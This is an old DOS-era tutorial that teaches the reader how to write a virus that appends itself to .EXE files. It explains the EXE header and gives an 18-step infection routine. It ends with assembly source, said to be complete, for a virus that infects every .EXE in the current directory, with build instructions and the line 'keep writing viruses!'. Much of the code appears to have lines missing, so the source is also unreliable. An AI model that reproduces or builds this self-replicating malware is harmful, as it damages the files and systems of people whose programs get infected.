-------------------- .EXE Appending Virus -------------------- by Stealth Warrior/The Alliance My page: http://www.geocities.com/SiliconValley/Heights/5303 My E-Mail address: stealthwarrior@hotmail.com ---------------------------------------------------------------------------- DISCLAIMER: Information included in this file is not to be used in any malicious or otherwise irresponsible manner. The author is not responsible for any damages, incidental or otherwise, resulting from using information from this file. Responsibility is entirely placed on the reader (user). ---------------------------------------------------------------------------- So, now when we know how to infect .COM files, it's time to learn about .EXEs. First of all you have to be familiar with EXE header. It's in the beginning of every .EXE file and it looks like this: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ OFFSET ³ DESCRIPTION ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ 00h ³ EXE file ID word: MZ or ZM ³ ³ û 02h ³ Number of bytes in the last page in the file ³ ³ û 04h ³ Number of pages* in the file, rounded up ³ ³ 06h ³ Number of entries in segment table ³ ³ 08h ³ Size of the header in paragraphs** ³ ³ 0Ah ³ Minimum memory allocated to file - in paragraphs ³ ³ 0Ch ³ Maximum memory allocated to file - in paragraphs ³ ³ û 0Eh ³ Initial offset in paragraphs to stack segment from header (SS) ³ ³ 10h ³ Initial offset in bytes of stack ptr from stack segment (SP) ³ ³ 12h ³ Negative checksum ³ ³ û 14h ³ Initial offset in bytes of instruction ptr from code segment (IP)³ ³ û 16h ³ Initial offset in paragraphs of code segment from header (CS) ³ ³ 18h ³ Offset of relocation table from start of file ³ ³ 1Ah ³ Overlay number ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ûImportant OFFSETS (for a virus) *page is 512 bytes long **paragraph is 16 bytes long What our virus has to do? First, something very important. When an EXE file is loaded, PSP is built, but CS doesn't point to it! Instead, it points to the entry point, while the DS and ES point to the PSP. That's why our virus has to restore initial DS and ES before passing control to the host. And here's flow-chart: 1.Calculate the delta OFFSET. 2.Restore parts of the header - in memory of course! 3.Save DTA. 4.Find a .EXE file. If no files found then go to step 17. 5.Save file attributes, date and time. 6.Clear file attributes. 7.Open the file for reading/writing. 8.Read the header. 9.Check if the file is already infected. a)If already infected then go to step 16. b)If not infected continue. 10.Save important parts of the header for later use. 11.Calculate new values for the header. 12.Append the virus to the file. 13.Write new header to the file. 14.Restore time and date. 15.Close the file. 16.Restore attributes. 17.Restore DTA. 18.Pass the control to the host (in memory!). Here's how it's done: 1.Nothing new here, except there are no three bytes(0e9h,0,0) used to jump to vstart. vstart: call doit doit: pop bp ; 2.And now we restore DS, ES and saved parts of the header: push ds push es push cs pop ds push cs pop es lea si,[bp+OFFSET orgCSIP2] lea di,[bp+OFFSET orgCSIP] movsw movsw movsw movsw 3.Nothing new... lea dx,[bp+OFFSET dta] ; We have to define dta, so: dta db 42 dup (?) 4.You know this... mov ah,4eh ;Find first service. lea dx,[bp+exe_files] ; int 21h We have to define what exe_files means, so: exe_files: db "*.exe",0 5.Nothing new... lea si,[bp+OFFSET dta+21] ; 6.Old stuff... mov ax,4301h ; 7.Nothing new here... mov ax,3d02h ; 8.Here we read the header and store it to buffer. We need it to check if the file is already infected and to restore it before we pass control to the host. xchg ax,bx ;Put file handle in bx. mov ah,3fh ; 9.Here we compare our ID with the value at OFFSET 10h of the header. If it's the same then the file is infected. This is an appropriate location for our ID. You can use OFFSET 12h instead if you wish. cmp byte ptr [bp+buffer+10h],ID ;Is the file infected? jz another ;Yes,so find next victim. 10.Here we push cx (1ah=length of the header) for later use. We also save bx (file handle) so that it isn't destroyed by following operations. The most important thing of this part is saving all data from the header which will need to be restored. It's a pretty odd way, but if you know a shorter one, email me :) mov cx,1ah push cx push bx ;Save file handle. les ax,dword ptr [bp+buffer+14h] ; 11.In this part we have to calculate new values to be written to the header. The only tricky part is where we need the number of bytes in the last page in the file. But with a bit of math it's done... Let's take a 1026-byte file, for example: PAGE 1 PAGE 2 PAGE 3 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³********************³********************³** ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 512 1024 OFFSET 02 : 2 ( 1026-2*(512)=2 ) OFFSET 04 : 3 ( 3*512>1026>2*512, look at the picture above) mov ax,word ptr [bp+buffer+8] ; les ax,dword ptr [bp+dta+1ah] ; sub ax,bx ; mov word ptr [bp+buffer+14h],dx ;New entry point. mov word ptr [bp+buffer+16h],ax ;New OFFSET of code segment. mov word ptr [bp+buffer+0eh],ax ;New OFFSET of stack segment. mov word ptr [bp+buffer+10h],ID ;Our ID. pop dx ; pop bx ;Restore file handle. add ax,vend-vstart ; mov cl,9 ;Length of a page=512=2^9. push ax ; mov word ptr [bp+buffer+4],dx ;New number of pages. mov word ptr [bp+buffer+2],ax ;New remainder. push cs ; 12.And now-40h, my favorite function... mov ah,40h ; 13.Here we write a new header to the file (from the buffer): mov ax,4200h ; mov ah,40h ; 14.Now this looks familiar... :) mov ax,5701h ; 15.Close the file, nothing new... mov ah,3eh ; 16.Blah, blah... mov ax,4301h ; 17.Nothin' new... mov dx,80h ;Restore DTA. mov ah,1ah ; 18.Here we pass control to the host (in memory!!!): pop es ;Restore es. pop ds ;Restore ds. mov ax,es ;ax<-PSP segment. add ax,10h ;Adjust it for PSP. add word ptr cs:[bp+orgCSIP+2],ax; add ax,word ptr cs:[bp+orgSSSP+2]; cli ;Clear int's for stack manipulation. mov sp,word ptr cs:[bp+orgSSSP] ;Adjust sp. mov ss,ax ;Adjust ss. sti db 0eah ;Return control to the host. We also need this: orgCSIP dd ? ;Original CS:IP. orgSSSP dd ? ;Original SS:SP. orgCSIP2 dd 0fff00000h ;Needed for carrier file. orgSSSP2 dd ? Here's the complete source: ---------------------------------------------------------------- ;Example 1 from .EXE Appending Virus Tutorial by Stealth Warrior ;.EXE appending virus - 342 bytes long, infects all .EXE files in current dir ;Instructions: ; TASM /m EXAMPLE1.ASM ; TLINK /t EXAMPLE1.ASM .model tiny .code org 100h ID = 'SW' ;Our ID... vstart: call doit doit: pop bp ; push ds push es push cs pop ds push cs pop es lea si,[bp+OFFSET orgCSIP2] lea di,[bp+OFFSET orgCSIP] movsw movsw movsw movsw lea dx,[bp+OFFSET dta] ; first: mov ah,4eh ;Find first service. lea dx,[bp+exe_files] ; next: int 21h jnb got_it ;We found a .EXE file. jmp quit ;No more .EXE files,so quit. got_it: lea si,[bp+OFFSET dta+21] ; mov ax,4301h ; mov ax,3d02h ; xchg ax,bx ;Put file handle in ax. mov ah,3fh ; mov ax,4202h ; cmp word ptr [bp+buffer+10h],ID ;Already infected? jnz infect ;No,so infect it. jmp another ;Yes,so get another. infect: mov cx,1ah push cx push bx ;Save file handle. les ax,dword ptr [bp+buffer+14h] ; mov ax,word ptr [bp+buffer+8] ; les ax,dword ptr [bp+dta+1ah] ; sub ax,bx ; mov word ptr [bp+buffer+14h],dx ;New entry point. mov word ptr [bp+buffer+16h],ax ;New OFFSET of code segment. mov word ptr [bp+buffer+0eh],ax ;New OFFSET of stack segment. mov word ptr [bp+buffer+10h],ID ;Our ID. pop dx ; pop bx ;Restore file handle. add ax,vend-vstart ; mov cl,9 ;Length of a page=512=2^9. push ax ; mov word ptr [bp+buffer+4],dx ;New number of pages. mov word ptr [bp+buffer+2],ax ;New remainder. push cs ; mov ah,40h ; mov ax,4200h ; mov ah,40h ; mov ax,5701h ; mov ah,3eh ; another:mov ax,4301h ; mov ah,4fh ;Find next service. jmp next ;Do it. quit: mov dx,80h ;Restore DTA. mov ah,1ah ; pop es ;Restore es. pop ds ;Restore ds. mov ax,es ;ax<-PSP segment. add ax,10h ;Adjust it for PSP. add word ptr cs:[bp+orgCSIP+2],ax add ax,word ptr cs:[bp+orgSSSP+2] cli ;Clear int's for stack manipulation. mov sp,word ptr cs:[bp+orgSSSP] ;Adjust sp. mov ss,ax ;Adjust ss. sti db 0eah ;Return control to the host. orgCSIP dd ? ;Original CS:IP. orgSSSP dd ? ;Original SS:SP. orgCSIP2 dd 0fff00000h ;Needed for carrier file. orgSSSP2 dd ? exe_files db '*.exe',0 vend equ $ ; attributes db ? ;Here we put file attributes. time dw ? ;Here we put file time. date dw ? ;Here we put file date. dta db 42 dup (?) ;Here we put DTA. buffer db 1ah dup (?) ;Here we put header. end vstart ------------------------------------------------------------------------------ That's it for EXE infectors. If you don't get it yet, read all my previous tutorials and you'll get it, don't worry. Stay tuned for new tutorials by me! Oh yeah, keep writing viruses! You can get all my tutorials and more at my page - see the beginning of this file for the address. Greetz'n'thanx to: -The Alliance : Yo to all memberz -P/S : a great group, your(Dark Angel) tutorials and 40hex helped me a lot BTW where's 40Hex 15? -NuKE : a great group too, Rock Steady's tutorials are cool -VLAD : a great magazine, guys-I hope #7 isn't the last one... -Immortal Riot/Genesis : I like your 'zine -Ratboy : cool tutorial -all other wirus writers in the world! -Rage Against The Machine, Ministry, Biohazard, Jimi Hendrix : I listened to your music while I was writing these tutorials